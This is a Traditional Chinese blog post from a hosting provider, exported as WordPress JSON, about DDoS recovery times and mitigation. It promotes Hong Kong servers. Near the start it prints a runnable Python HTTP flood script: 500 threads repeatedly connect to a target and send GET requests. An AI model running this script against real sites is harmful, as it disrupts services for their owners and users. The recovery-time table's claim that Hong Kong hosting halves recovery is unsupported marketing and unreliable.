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{"id":15445,"date":"2024-09-03T11:56:06","date_gmt":"2024-09-03T03:56:06","guid":{"rendered":"https:\/\/www.simcentric.com\/uncategorized-tc\/how-long-to-recover-a-website-after-a-ddos-attack\/"},"modified":"2024-09-03T12:03:14","modified_gmt":"2024-09-03T04:03:14","slug":"how-long-to-recover-a-website-after-a-ddos-attack","status":"publish","type":"post","link":"https:\/\/www.simcentric.com\/tc\/hong-kong-dedicated-server-tc\/how-long-to-recover-a-website-after-a-ddos-attack\/","title":{"rendered":"DDoS\u653b\u64ca\u5f8c\u7db2\u7ad9\u6062\u5fa9\u9700\u8981\u591a\u9577\u6642\u9593\uff1f"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row el_class=&#8221;blog-detail-section&#8221;][vc_column][vc_column_text]\u5728\u4e0d\u65b7\u6f14\u8b8a\u7684\u7db2\u8def\u5b89\u5168\u74b0\u5883\u4e2d\uff0c<a href=\"https:\/\/www.simcentric.com\/tc\/hong-kong-dedicated-server-tc\/how-do-ddos-attacks-evade-detection\/\" target=\"_blank\" rel=\"noopener\">\u5206\u6563\u5f0f\u963b\u65b7\u670d\u52d9\uff08DDoS\uff09\u653b\u64ca<\/a>\u4ecd\u7136\u662f\u5c0d\u7dda\u4e0a\u5e73\u53f0\u7684\u6301\u7e8c\u5a01\u8105\u3002\u5c0d\u65bc\u7ba1\u7406\u95dc\u9375\u57fa\u790e\u8a2d\u65bd\u7684\u6280\u8853\u7cbe\u901a\u7684\u5c08\u696d\u4eba\u58eb\u4f86\u8aaa\uff0c\u4e86\u89e3DDoS\u6062\u5fa9\u7684\u8907\u96dc\u6027\u81f3\u95dc\u91cd\u8981\u3002\u672c\u6307\u5357\u6df1\u5165\u63a2\u8a0e\u4e86DDoS\u653b\u64ca\u6062\u5fa9\u6642\u9593\u7684\u7d30\u7bc0\uff0c\u7279\u5225\u95dc\u6ce8\u4e86<a href=\"https:\/\/www.simcentric.com\/tc\/\" target=\"_blank\" rel=\"noopener\">\u9999\u6e2f\u4f3a\u670d\u5668<\/a>\u63d0\u4f9b\u7684\u6062\u5fa9\u80fd\u529b\u3002<\/p>\n<h2><strong>\u89e3\u78bcDDoS\uff1a\u6578\u4f4d\u6d77\u562f<\/strong><\/h2>\n<p>\u5728\u6211\u5011\u6df1\u5165\u63a2\u8a0e\u6062\u5fa9\u6642\u9593\u4e4b\u524d\uff0c\u8b93\u6211\u5011\u5148\u4f86\u5206\u6790\u4e00\u4e0bDDoS\u653b\u64ca\u7684\u5167\u5bb9\u3002\u60f3\u50cf\u4e00\u4e0b\uff0c\u4e00\u5834\u6578\u4f4d\u6d77\u562f\u7528\u60e1\u610f\u6d41\u91cf\u6df9\u6c92\u4e86\u60a8\u7684\u4f3a\u670d\u5668\uff0c\u4f7f\u5408\u6cd5\u7528\u6236\u7121\u6cd5\u8a2a\u554f\u3002\u9019\u4e9b\u653b\u64ca\u7684\u8907\u96dc\u7a0b\u5ea6\u5404\u4e0d\u76f8\u540c\uff0c\u5f9e\u7c21\u55ae\u7684\u5bb9\u91cf\u653b\u64ca\u5230\u8907\u96dc\u7684\u61c9\u7528\u5c64\u653b\u64ca\u3002<\/p>\n<pre><code>\r\n# \u6a21\u64ec\u57fa\u672cDDoS\u653b\u64ca\u7684\u7c21\u55aePython\u8173\u672c\uff08\u50c5\u7528\u65bc\u6559\u80b2\u76ee\u7684\uff09\r\nimport socket\r\nimport threading\r\n\r\ntarget = 'target_ip'\r\nport = 80\r\nfake_ip = '182.21.20.32'\r\n\r\ndef attack():\r\n    while True:\r\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n        s.connect((target, port))\r\n        s.sendto((\"GET \/\" + target + \" HTTP\/1.1\\r\\n\").encode('ascii'), (target, port))\r\n        s.sendto((\"Host: \" + fake_ip + \"\\r\\n\\r\\n\").encode('ascii'), (target, port))\r\n        s.close()\r\n\r\nfor i in range(500):\r\n    thread = threading.Thread(target=attack)\r\n    thread.start()\r\n    <\/code><\/pre>\n<p>\u9019\u500b\u8173\u672c\u96d6\u7136\u7c21\u55ae\uff0c\u4f46\u8aaa\u660e\u4e86DDoS\u653b\u64ca\u80cc\u5f8c\u7684\u57fa\u672c\u6982\u5ff5\u3002\u5728\u73fe\u5be6\u4e16\u754c\u7684\u5834\u666f\u4e2d\uff0c\u653b\u64ca\u8005\u4f7f\u7528\u66f4\u52a0\u8907\u96dc\u7684\u65b9\u6cd5\uff0c\u901a\u5e38\u5229\u7528\u6bad\u5c4d\u7db2\u8def\u4e26\u5229\u7528\u5354\u8b70\u4e2d\u7684\u6f0f\u6d1e\u3002<\/p>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u9999\u6e2f\u512a\u52e2\uff1a\u70ba\u4ec0\u9ebc\u4f4d\u7f6e\u5f88\u91cd\u8981<\/strong><\/h2>\n<p>\u9999\u6e2f\u7684\u6230\u7565\u4f4d\u7f6e\u548c\u5148\u9032\u7684\u6578\u4f4d\u57fa\u790e\u8a2d\u65bd\u4f7f\u5176\u6210\u70ba\u4f3a\u670d\u5668\u79df\u7528\u670d\u52d9\u7684\u7406\u60f3\u4e2d\u5fc3\u3002\u5728DDoS\u6062\u5fa9\u80fd\u529b\u65b9\u9762\uff0c\u9999\u6e2f\u4f3a\u670d\u5668\u63d0\u4f9b\u4e86\u5e7e\u500b\u95dc\u9375\u512a\u52e2\uff1a<\/p>\n<ul>\n<li>\u9760\u8fd1\u4e3b\u8981\u4e9e\u6d32\u5e02\u5834\uff0c\u6e1b\u5c11\u5ef6\u9072<\/li>\n<li>\u5148\u9032\u7684\u5149\u7e96\u7db2\u8def\uff0c\u5177\u6709\u9ad8\u983b\u5bec\u5bb9\u91cf<\/li>\n<li>\u56b4\u683c\u7684\u8cc7\u6599\u4fdd\u8b77\u6cd5\u5f8b\uff0c\u63d0\u9ad8\u6574\u9ad4\u5b89\u5168\u6027<\/li>\n<li>\u7372\u5f97\u6700\u5148\u9032\u7684DDoS\u7de9\u89e3\u6280\u8853<\/li>\n<\/ul>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u6062\u5fa9\u6642\u9593\u56e0\u7d20\uff1a\u89e3\u958b\u8907\u96dc\u6027<\/strong><\/h2>\n<p>\u7db2\u7ad9\u5f9eDDoS\u653b\u64ca\u4e2d\u6062\u5fa9\u6240\u9700\u7684\u6642\u9593\u4e26\u975e\u4e00\u5200\u5207\u7684\u6307\u6a19\u3002\u5e7e\u500b\u56e0\u7d20\u6703\u5f71\u97ff\u6062\u5fa9\u6642\u9593\uff1a<\/p>\n<ol>\n<li>\u653b\u64ca\u898f\u6a21\uff1a\u5bb9\u91cf\u653b\u64ca\u53ef\u4ee5\u5f9e\u5e7eGbps\u5230\u5927\u898f\u6a21\u7684TB\u7d1a\u653b\u64ca\u3002<\/li>\n<li>\u653b\u64ca\u8907\u96dc\u6027\uff1a\u91dd\u5c0d\u61c9\u7528\u7a0b\u5f0f\u6f0f\u6d1e\u7684\u7b2c7\u5c64\u653b\u64ca\u53ef\u80fd\u66f4\u96e3\u7de9\u89e3\u3002<\/li>\n<li>\u57fa\u790e\u8a2d\u65bd\u6062\u5fa9\u80fd\u529b\uff1a\u60a8\u7684\u4f3a\u670d\u5668\u548c\u7db2\u8def\u8a2d\u7f6e\u7684\u7a69\u5065\u6027\u8d77\u8457\u95dc\u9375\u4f5c\u7528\u3002<\/li>\n<li>\u7de9\u89e3\u63aa\u65bd\uff1a\u9810\u5148\u5b58\u5728\u7684DDoS\u4fdd\u8b77\u89e3\u6c7a\u65b9\u6848\u53ef\u4ee5\u986f\u8457\u6e1b\u5c11\u6062\u5fa9\u6642\u9593\u3002<\/li>\n<li>\u4e8b\u4ef6\u97ff\u61c9\u6548\u7387\uff1a\u8a13\u7df4\u6709\u7d20\u7684\u5718\u968a\u53ef\u4ee5\u5728\u5feb\u901f\u6062\u5fa9\u65b9\u9762\u7522\u751f\u5de8\u5927\u5dee\u7570\u3002<\/li>\n<\/ol>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u6578\u64da\u5206\u6790\uff1a\u9810\u4f30\u6062\u5fa9\u6642\u9593<\/strong><\/h2>\n<p>\u96d6\u7136\u78ba\u5207\u7684\u6062\u5fa9\u6642\u9593\u53ef\u80fd\u6703\u6709\u6240\u4e0d\u540c\uff0c\u4f46\u4ee5\u4e0b\u662f\u57fa\u65bc\u653b\u64ca\u56b4\u91cd\u7a0b\u5ea6\u7684\u4e00\u822c\u5206\u985e\uff1a<\/p>\n<style>\n    table {<br \/>        border-collapse: collapse;<br \/>        width: 100%;<br \/>    }<br \/>    th, td {<br \/>        border: 1px solid black;<br \/>        padding: 8px;<br \/>        text-align: left;<br \/>    }<br \/>    th {<br \/>        background-color: #f2f2f2;<br \/>    }<br \/><\/style>\n<table>\n<tbody>\n<tr>\n<th>\u653b\u64ca\u56b4\u91cd\u7a0b\u5ea6<\/th>\n<th>\u5178\u578b\u6062\u5fa9\u6642\u9593<\/th>\n<th>\u4f7f\u7528\u9999\u6e2f\u4f3a\u670d\u5668\u7684\u512a\u52e2<\/th>\n<\/tr>\n<tr>\n<td>\u4f4e (1-10 Gbps)<\/td>\n<td>30\u5206\u9418 &#8211; 2\u5c0f\u6642<\/td>\n<td>15\u5206\u9418 &#8211; 1\u5c0f\u6642<\/td>\n<\/tr>\n<tr>\n<td>\u4e2d\u7b49 (10-50 Gbps)<\/td>\n<td>2 &#8211; 8\u5c0f\u6642<\/td>\n<td>1 &#8211; 4\u5c0f\u6642<\/td>\n<\/tr>\n<tr>\n<td>\u9ad8 (50+ Gbps)<\/td>\n<td>8 &#8211; 24\u5c0f\u6642<\/td>\n<td>4 &#8211; 12\u5c0f\u6642<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u9019\u4e9b\u4f30\u8a08\u5047\u8a2d\u5df2\u5be6\u65bd\u884c\u696d\u6a19\u6e96\u7684DDoS\u7de9\u89e3\u6280\u8853\u3002\u9999\u6e2f\u4f3a\u670d\u5668\u6191\u85c9\u5176\u5148\u9032\u7684\u57fa\u790e\u8a2d\u65bd\u548c\u9760\u8fd1\u4e3b\u8981\u7db2\u969b\u7db2\u8def\u4ea4\u63db\u9ede\u7684\u512a\u52e2\uff0c\u6709\u53ef\u80fd\u5c07\u9019\u4e9b\u6062\u5fa9\u6642\u9593\u7e2e\u77ed\u4e00\u534a\u3002<\/p>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u52a0\u901f\u6062\u5fa9\uff1a\u7d93\u904e\u5be6\u6230\u6aa2\u9a57\u7684\u7b56\u7565<\/strong><\/h2>\n<p>\u70ba\u4e86\u6700\u5927\u9650\u5ea6\u5730\u6e1b\u5c11\u505c\u6a5f\u6642\u9593\u4e26\u52a0\u5feb\u6062\u5fa9\u901f\u5ea6\uff0c\u8acb\u8003\u616e\u5be6\u65bd\u4ee5\u4e0b\u6280\u8853\u7b56\u7565\uff1a<\/p>\n<ol>\n<li>\u5be6\u65bdAnycast DNS\uff1a\u5c07\u50b3\u5165\u6d41\u91cf\u5206\u5e03\u5230\u591a\u500b\u5730\u7406\u5206\u6563\u7684\u4f3a\u670d\u5668\u3002<\/li>\n<li>\u5229\u7528BGP Flowspec\uff1a\u4f7f\u7528\u908a\u754c\u9598\u9053\u5354\u8b70\u5728\u7db2\u8def\u4e2d\u5feb\u901f\u50b3\u64ad\u6d41\u91cf\u904e\u6ffe\u898f\u5247\u3002<\/li>\n<li>\u90e8\u7f72Web\u61c9\u7528\u9632\u706b\u7246\uff08WAF\uff09\uff1a\u901a\u904e\u667a\u80fd\u6d41\u91cf\u5206\u6790\u4fdd\u8b77\u514d\u53d7\u61c9\u7528\u5c64\u653b\u64ca\u3002<\/li>\n<li>\u5229\u7528\u6d41\u91cf\u6e05\u6d17\u670d\u52d9\uff1a\u5728\u6d41\u91cf\u5230\u9054\u60a8\u7684\u4f3a\u670d\u5668\u4e4b\u524d\u901a\u904e\u5c08\u7528\u6e05\u6d17\u4e2d\u5fc3\u91cd\u5b9a\u5411\u6d41\u91cf\u3002<\/li>\n<li>\u5be6\u65bd\u901f\u7387\u9650\u5236\uff1a\u4f7f\u7528nginx\u6216\u985e\u4f3c\u5de5\u5177\u9650\u5236\u7528\u6236\u5728\u7d66\u5b9a\u6642\u9593\u5167\u53ef\u4ee5\u767c\u51fa\u7684\u8acb\u6c42\u6578\u91cf\u3002<\/li>\n<\/ol>\n<pre><code>\r\n# nginx\u914d\u7f6e\u793a\u4f8b\uff0c\u7528\u65bc\u901f\u7387\u9650\u5236\r\nhttp {\r\n    limit_req_zone $binary_remote_addr zone=one:10m rate=1r\/s;\r\n\r\n    server {\r\n        location \/login\/ {\r\n            limit_req zone=one burst=5;\r\n        }\r\n    }\r\n}\r\n    <\/code><\/pre>\n<p>\u9019\u500bnginx\u914d\u7f6e\u70ba\u6bcf\u500bIP\u5730\u5740\u8a2d\u7f6e\u4e86\u6bcf\u79d2\u4e00\u500b\u8acb\u6c42\u7684\u901f\u7387\u9650\u5236\uff0c\u5141\u8a31\u7a81\u767c5\u500b\u8acb\u6c42\u3002\u9019\u6a23\u7684\u63aa\u65bd\u53ef\u4ee5\u986f\u8457\u7de9\u89e3\u61c9\u7528\u5c64DDoS\u653b\u64ca\u7684\u5f71\u97ff\u3002<\/p>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u9999\u6e2f\u4f3a\u670d\u5668\u79df\u7528\uff1a\u9078\u64c7\u6b63\u78ba\u7684\u63d0\u4f9b\u5546<\/strong><\/h2>\n<p>\u5728\u9078\u64c7\u9999\u6e2f\u7684\u4f3a\u670d\u5668\u79df\u7528\u63d0\u4f9b\u5546\u6642\uff0c\u8acb\u8003\u616e\u4ee5\u4e0b\u95dc\u9375\u56e0\u7d20\uff1a<\/p>\n<ul>\n<li>DDoS\u7de9\u89e3\u80fd\u529b\uff1a\u5c0b\u627e\u63d0\u4f9b\u5f37\u5927\u3001\u5373\u6642DDoS\u4fdd\u8b77\u7684\u63d0\u4f9b\u5546\u3002<\/li>\n<li>\u7db2\u8def\u5bb9\u91cf\uff1a\u78ba\u4fdd\u63d0\u4f9b\u5546\u6709\u8db3\u5920\u7684\u983b\u5bec\u4f86\u5438\u6536\u5927\u898f\u6a21\u653b\u64ca\u3002<\/li>\n<li>\u5c0d\u7b49\u95dc\u4fc2\uff1a\u5177\u6709\u5ee3\u6cdb\u5c0d\u7b49\u95dc\u4fc2\u7684\u63d0\u4f9b\u5546\u53ef\u4ee5\u5728\u653b\u64ca\u671f\u9593\u63d0\u4f9b\u66f4\u597d\u7684\u6d41\u91cf\u8def\u7531\u3002<\/li>\n<li>24\/7\u6280\u8853\u652f\u63f4\uff1a\u5728DDoS\u4e8b\u4ef6\u671f\u9593\uff0c\u5feb\u901f\u97ff\u61c9\u6642\u9593\u81f3\u95dc\u91cd\u8981\u3002<\/li>\n<li>\u5408\u898f\u6027\u548c\u5b89\u5168\u8a8d\u8b49\uff1a\u81f3\u5c11\u8981\u5c0b\u627eISO 27001\u548cPCI DSS\u5408\u898f\u6027\u3002<\/li>\n<\/ul>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u4e3b\u52d5\u9632\u79a6\uff1a\u6700\u597d\u7684\u9032\u653b<\/strong><\/h2>\n<p>\u96d6\u7136\u5feb\u901f\u6062\u5fa9\u81f3\u95dc\u91cd\u8981\uff0c\u4f46\u9810\u9632\u7e3d\u662f\u52dd\u65bc\u6cbb\u7642\u3002\u5be6\u65bd\u4ee5\u4e0b\u4e3b\u52d5\u63aa\u65bd\u4f86\u52a0\u5f37\u60a8\u7684\u9632\u79a6\uff1a<\/p>\n<ol>\n<li>\u5b9a\u671f\u6ef2\u900f\u6e2c\u8a66\uff1a\u5728\u6f0f\u6d1e\u88ab\u5229\u7528\u4e4b\u524d\u8b58\u5225\u4e26\u4fee\u88dc\u5b83\u5011\u3002<\/li>\n<li>\u6d41\u91cf\u5206\u6790\uff1a\u4f7f\u7528Wireshark\u6216tcpdump\u7b49\u5de5\u5177\u5efa\u7acb\u57fa\u7dda\u6d41\u91cf\u6a21\u5f0f\uff0c\u5feb\u901f\u8b58\u5225\u7570\u5e38\u3002<\/li>\n<li>\u5be6\u65bd\u8cc7\u6e90\u6c60\uff1a\u5229\u7528\u57fa\u65bc\u96f2\u7684\u8cc7\u6e90\u5728\u653b\u64ca\u5834\u666f\u4e2d\u52d5\u614b\u64f4\u5c55\u3002<\/li>\n<li>\u5b9a\u671f\u6f14\u7df4\uff1a\u7df4\u7fd2\u60a8\u7684\u4e8b\u4ef6\u97ff\u61c9\u8a08\u5283\uff0c\u78ba\u4fdd\u5728\u6700\u9700\u8981\u6642\u80fd\u5920\u9806\u5229\u57f7\u884c\u3002<\/li>\n<\/ol>\n<hr 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